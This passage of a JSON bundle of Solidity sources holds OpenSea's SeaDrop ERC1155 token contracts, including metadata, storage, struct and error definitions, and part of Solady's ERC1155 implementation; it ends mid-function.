"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n IERC1155ContractMetadata\n} from \"../interfaces/IERC1155ContractMetadata.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { ERC2981 } from \"solady/src/tokens/ERC2981.sol\";\n\nimport { Ownable } from \"solady/src/auth/Ownable.sol\";\n\nimport {\n Initializable\n} from \"@openzeppelin-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC1155ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable token contract that extends ERC-1155\n * with additional metadata and ownership capabilities.\n */\ncontract ERC1155ContractMetadataCloneable is\n ERC1155ConduitPreapproved,\n ERC2981,\n Ownable,\n IERC1155ContractMetadata,\n Initializable\n{\n /// @notice A struct containing the token supply info per token id.\n mapping(uint256 => TokenSupply) _tokenSupply;\n\n /// @notice The total number of tokens minted by address.\n mapping(address => uint256) _totalMintedByUser;\n\n /// @notice The total number of tokens minted per token id by address.\n mapping(address => mapping(uint256 => uint256)) _totalMintedByUserPerToken;\n\n /// @notice The name of the token.\n string internal _name;\n\n /// @notice The symbol of the token.\n string internal _symbol;\n\n /// @notice The base URI for token metadata.\n string internal _baseURI;\n\n /// @notice The contract URI for contract metadata.\n string internal _contractURI;\n\n /// @notice The provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 internal _provenanceHash;\n\n /// @notice The allowed contract that can configure SeaDrop parameters.\n address internal _CONFIGURER;\n\n /**\n * @dev Reverts if the sender is not the owner or the allowed\n * configurer contract.\n *\n * This is used as a function instead of a modifier\n * to save contract space when used multiple times.\n */\n function _onlyOwnerOrConfigurer() internal view {\n if (msg.sender != _CONFIGURER && msg.sender != owner()) {\n revert Unauthorized();\n }\n }\n\n /**\n * @notice Deploy the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155ContractMetadataCloneable_init(\n address allowedConfigurer,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the name of the token.\n _name = name_;\n\n // Set the symbol of the token.\n _symbol = symbol_;\n\n // Set the allowed configurer contract to interact with this contract.\n _CONFIGURER = allowedConfigurer;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new base URI.\n _baseURI = newBaseURI;\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(0, type(uint256).max);\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(\n uint256 fromTokenId,\n uint256 toTokenId\n ) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Emit an event with the update.\n if (fromTokenId == toTokenId) {\n // If only one token is being updated, use the event\n // in the 1155 spec.\n emit URI(uri(fromTokenId), fromTokenId);\n } else {\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Ensure the max supply does not exceed the maximum value of uint64,\n // a limit due to the storage of bit-packed variables in TokenSupply,\n if (newMaxSupply > 2 ** 64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _tokenSupply[tokenId].maxSupply = uint64(newMaxSupply);\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(tokenId, newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert if the provenance hash has already\n * been set, so be sure to carefully set it only once.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Revert if the provenance hash has already been set.\n if (oldProvenanceHash != bytes32(0)) {\n revert ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n }\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the default royalty.\n // ERC2981 implementation ensures feeNumerator <= feeDenominator\n // and receiver != address(0).\n _setDefaultRoyalty(receiver, feeNumerator);\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(receiver, feeNumerator);\n }\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory) {\n return _name;\n }\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].maxSupply;\n }\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalSupply;\n }\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalMinted;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the URI for token metadata.\n *\n * This implementation returns the same URI for *all* token types.\n * It relies on the token type ID substitution mechanism defined\n * in the EIP to replace {id} with the token id.\n *\n * @custom:param tokenId The token id to get the URI for.\n */\n function uri(\n uint256 /* tokenId */\n ) public view virtual override returns (string memory) {\n // Return the base URI.\n return _baseURI;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return\n interfaceId == type(IERC1155ContractMetadata).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906 (MetadataUpdate)\n ERC2981.supportsInterface(interfaceId) ||\n // ERC1155 returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Adds to the internal counters for a mint.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n // Increment mint counts.\n _incrementMintCounts(to, id, amount);\n\n ERC1155._mint(to, id, amount, data);\n }\n\n /**\n * @dev Adds to the internal counters for a batch mint.\n *\n * @param to The address to mint to.\n * @param ids The token ids to mint.\n * @param amounts The quantities to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Increment mint counts.\n _incrementMintCounts(to, ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchMint(to, ids, amounts, data);\n }\n\n /**\n * @dev Subtracts from the internal counters for a burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function _burn(\n address by,\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n // Reduce the supply.\n _reduceSupplyOnBurn(id, amount);\n\n ERC1155._burn(by, from, id, amount);\n }\n\n /**\n * @dev Subtracts from the internal counters for a batch burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn.\n */\n function _batchBurn(\n address by,\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Reduce the supply.\n _reduceSupplyOnBurn(ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchBurn(by, from, ids, amounts);\n }\n\n function _reduceSupplyOnBurn(uint256 id, uint256 amount) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n // Reduce the totalSupply.\n unchecked {\n tokenSupply.totalSupply -= uint64(amount);\n }\n }\n\n /**\n * @dev Internal function to increment mint counts.\n *\n * Note that this function does not check if the mint exceeds\n * maxSupply, which should be validated before this function is called.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n */\n function _incrementMintCounts(\n address to,\n uint256 id,\n uint256 amount\n ) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n if (tokenSupply.totalMinted + amount > tokenSupply.maxSupply) {\n revert MintExceedsMaxSupply(\n tokenSupply.totalMinted + amount,\n tokenSupply.maxSupply\n );\n }\n\n // Increment supply and number minted.\n // Can be unchecked because maxSupply cannot be set to exceed uint64.\n unchecked {\n tokenSupply.totalSupply += uint64(amount);\n tokenSupply.totalMinted += uint64(amount);\n\n // Increment total minted by user.\n _totalMintedByUser[to] += amount;\n\n // Increment total minted by user per token.\n _totalMintedByUserPerToken[to][id] += amount;\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropContractOffererStorage.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { CreatorPayout } from \"./SeaDropStructs.sol\";\n\nlibrary ERC1155SeaDropContractOffererStorage {\n struct Layout {\n /// @notice The allowed Seaport addresses that can mint.\n mapping(address => bool) _allowedSeaport;\n /// @notice The enumerated allowed Seaport addresses.\n address[] _enumeratedAllowedSeaport;\n /// @notice The public drop data.\n mapping(uint256 => PublicDrop) _publicDrops;\n /// @notice The enumerated public drop indexes.\n uint256[] _enumeratedPublicDropIndexes;\n /// @notice The creator payout addresses and basis points.\n CreatorPayout[] _creatorPayouts;\n /// @notice The allow list merkle root.\n bytes32 _allowListMerkleRoot;\n /// @notice The allowed fee recipients.\n mapping(address => bool) _allowedFeeRecipients;\n /// @notice The enumerated allowed fee recipients.\n address[] _enumeratedFeeRecipients;\n /// @notice The allowed server-side signers.\n mapping(address => bool) _allowedSigners;\n /// @notice The enumerated allowed signers.\n address[] _enumeratedSigners;\n /// @notice The used signature digests.\n mapping(bytes32 => bool) _usedDigests;\n /// @notice The allowed payers.\n mapping(address => bool) _allowedPayers;\n /// @notice The enumerated allowed payers.\n address[] _enumeratedPayers;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n bytes32(\n uint256(\n keccak256(\"contracts.storage.ERC1155SeaDropContractOfferer\")\n ) - 1\n );\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n assembly {\n l.slot := slot\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"./SeaDropErrorsAndEvents.sol\";\n\ninterface ERC1155SeaDropErrorsAndEvents is SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if an empty PublicDrop is provided\n * for an already-empty public drop.\n */\n error PublicDropStageNotPresent();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the\n * max minted per wallet for a certain token id.\n */\n error MintQuantityExceedsMaxMintedPerWalletForTokenId(\n uint256 tokenId,\n uint256 total,\n uint256 allowed\n );\n\n /**\n * @dev Revert with an error if the target token id to mint is not within\n * the drop stage range.\n */\n error TokenIdNotWithinDropStageRange(\n uint256 tokenId,\n uint256 startTokenId,\n uint256 endTokenId\n );\n\n /**\n * @notice Revert with an error if the number of maxSupplyAmounts doesn't\n * match the number of maxSupplyTokenIds.\n */\n error MaxSupplyMismatch();\n\n /**\n * @notice Revert with an error if the number of mint tokenIds doesn't\n * match the number of mint amounts.\n */\n error MintAmountsMismatch();\n\n /**\n * @notice Revert with an error if the mint order offer contains\n * a duplicate tokenId.\n */\n error OfferContainsDuplicateTokenId(uint256 tokenId);\n\n /**\n * @dev Revert if the fromTokenId is greater than the toTokenId.\n */\n error InvalidFromAndToTokenId(uint256 fromTokenId, uint256 toTokenId);\n\n /**\n * @notice Revert with an error if the number of publicDropIndexes doesn't\n * match the number of publicDrops.\n */\n error PublicDropsMismatch();\n\n /**\n * @dev An event with updated public drop data.\n */\n event PublicDropUpdated(PublicDrop publicDrop, uint256 index);\n}\n"
},
"src/lib/ERC1155SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id. (The limit for\n * this field is 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n */\nstruct PublicDrop {\n // slot 1\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n bool restrictFeeRecipients; // 248/512 bits\n // uint8 unused;\n\n // slot 2\n address paymentToken; // 408/512 bits\n uint24 fromTokenId; // 432/512 bits\n uint24 toTokenId; // 456/512 bits\n uint16 maxTotalMintableByWallet; // 472/512 bits\n uint16 maxTotalMintableByWalletPerToken; // 488/512 bits\n uint16 feeBps; // 504/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 fromTokenId;\n uint256 toTokenId;\n uint256 maxTotalMintableByWallet;\n uint256 maxTotalMintableByWalletPerToken;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param tokenIds The tokenIds to mint.\n * @param quantities The number of tokens to mint per tokenId.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256[] tokenIds;\n uint256[] quantities;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256[] maxSupplyTokenIds;\n uint256[] maxSupplyAmounts;\n string baseURI;\n string contractURI;\n PublicDrop[] publicDrops;\n uint256[] publicDropsIndexes;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256[] mintTokenIds;\n uint256[] mintAmounts;\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\n/**\n * @notice A struct defining a creator payout address and basis points.\n *\n * @param payoutAddress The payout address.\n * @param basisPoints The basis points to pay out to the creator.\n * The total creator payouts must equal 10_000 bps.\n */\nstruct CreatorPayout {\n address payoutAddress;\n uint16 basisPoints;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n *\n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n"
},
"src/lib/ERC1155ConduitPreapproved.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\n/**\n * @title ERC1155ConduitPreapproved\n * @notice Solady's ERC1155 with the OpenSea conduit preapproved.\n */\nabstract contract ERC1155ConduitPreapproved is ERC1155 {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n _safeTransfer(_by(), from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual override {\n _safeBatchTransfer(_by(), from, to, ids, amounts, data);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n if (operator == _CONDUIT) return true;\n return ERC1155.isApprovedForAll(owner, operator);\n }\n\n function _by() internal view returns (address result) {\n assembly {\n // `msg.sender == _CONDUIT ? address(0) : msg.sender`.\n result := mul(iszero(eq(caller(), _CONDUIT)), caller())\n }\n }\n}\n"
},
"lib/solady/src/tokens/ERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC1155 implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/ERC1155.sol)\n///\n/// @dev Note:\n/// The ERC1155 standard allows for self-approvals.\n/// For performance, this implementation WILL NOT revert for such actions.\n/// Please add any checks with overrides if desired.\nabstract contract ERC1155 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The lengths of the input arrays are not the same.\n error ArrayLengthsMismatch();\n\n /// @dev Cannot mint or transfer to the zero address.\n error TransferToZeroAddress();\n\n /// @dev The recipient's balance has overflowed.\n error AccountBalanceOverflow();\n\n /// @dev Insufficient balance.\n error InsufficientBalance();\n\n /// @dev Only the token owner or an approved account can manage the tokens.\n error NotOwnerNorApproved();\n\n /// @dev Cannot safely transfer to a contract that does not implement\n /// the ERC1155Receiver interface.\n error TransferToNonERC1155ReceiverImplementer();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Emitted when `amount` of token `id` is transferred\n /// from `from` to `to` by `operator`.\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 amount\n );\n\n /// @dev Emitted when `amounts` of token `ids` are transferred\n /// from `from` to `to` by `operator`.\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] amounts\n );\n\n /// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.\n event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);\n\n /// @dev Emitted when the Uniform Resource Identifier (URI) for token `id`\n /// is updated to `value`. This event is not used in the base contract.\n /// You may need to emit this event depending on your URI logic.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n event URI(string value, uint256 indexed id);\n\n /// @dev `keccak256(bytes(\"TransferSingle(address,address,address,uint256,uint256)\"))`.\n uint256 private constant _TRANSFER_SINGLE_EVENT_SIGNATURE =\n 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62;\n\n /// @dev `keccak256(bytes(\"TransferBatch(address,address,address,uint256[],uint256[])\"))`.\n uint256 private constant _TRANSFER_BATCH_EVENT_SIGNATURE =\n 0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb;\n\n /// @dev `keccak256(bytes(\"ApprovalForAll(address,address,bool)\"))`.\n uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =\n 0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The `ownerSlotSeed` of a given owner is given by.\n /// ```\n /// let ownerSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner))\n /// ```\n ///\n /// The balance slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, id)\n /// let balanceSlot := keccak256(0x00, 0x40)\n /// ```\n ///\n /// The operator approval slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, operator)\n /// let operatorApprovalSlot := keccak256(0x0c, 0x34)\n /// ```\n uint256 private constant _ERC1155_MASTER_SLOT_SEED = 0x9a31110384e0b0c9;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 METADATA */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the URI for token `id`.\n ///\n /// You can either return the same templated URI for all token IDs,\n /// (e.g. \"https://example.com/api/{id}.json\"),\n /// or return a unique URI for each `id`.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n function uri(uint256 id) public view virtual returns (string memory);\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the amount of `id` owned by `owner`.\n function balanceOf(address owner, uint256 id) public view virtual returns (uint256 result) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, id)\n result := sload(keccak256(0x00, 0x40))\n }\n }\n\n /// @dev Returns whether `operator` is approved to manage the tokens of `owner`.\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n returns (bool result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, operator)\n result := sload(keccak256(0x0c, 0x34))\n }\n }\n\n /// @dev Sets whether `operator` is approved to manage the tokens of the caller.\n ///\n /// Emits a {ApprovalForAll} event.\n function setApprovalForAll(address operator, bool isApproved) public virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`msg.sender`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, caller())\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n // forgefmt: disable-next-line\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))\n }\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, 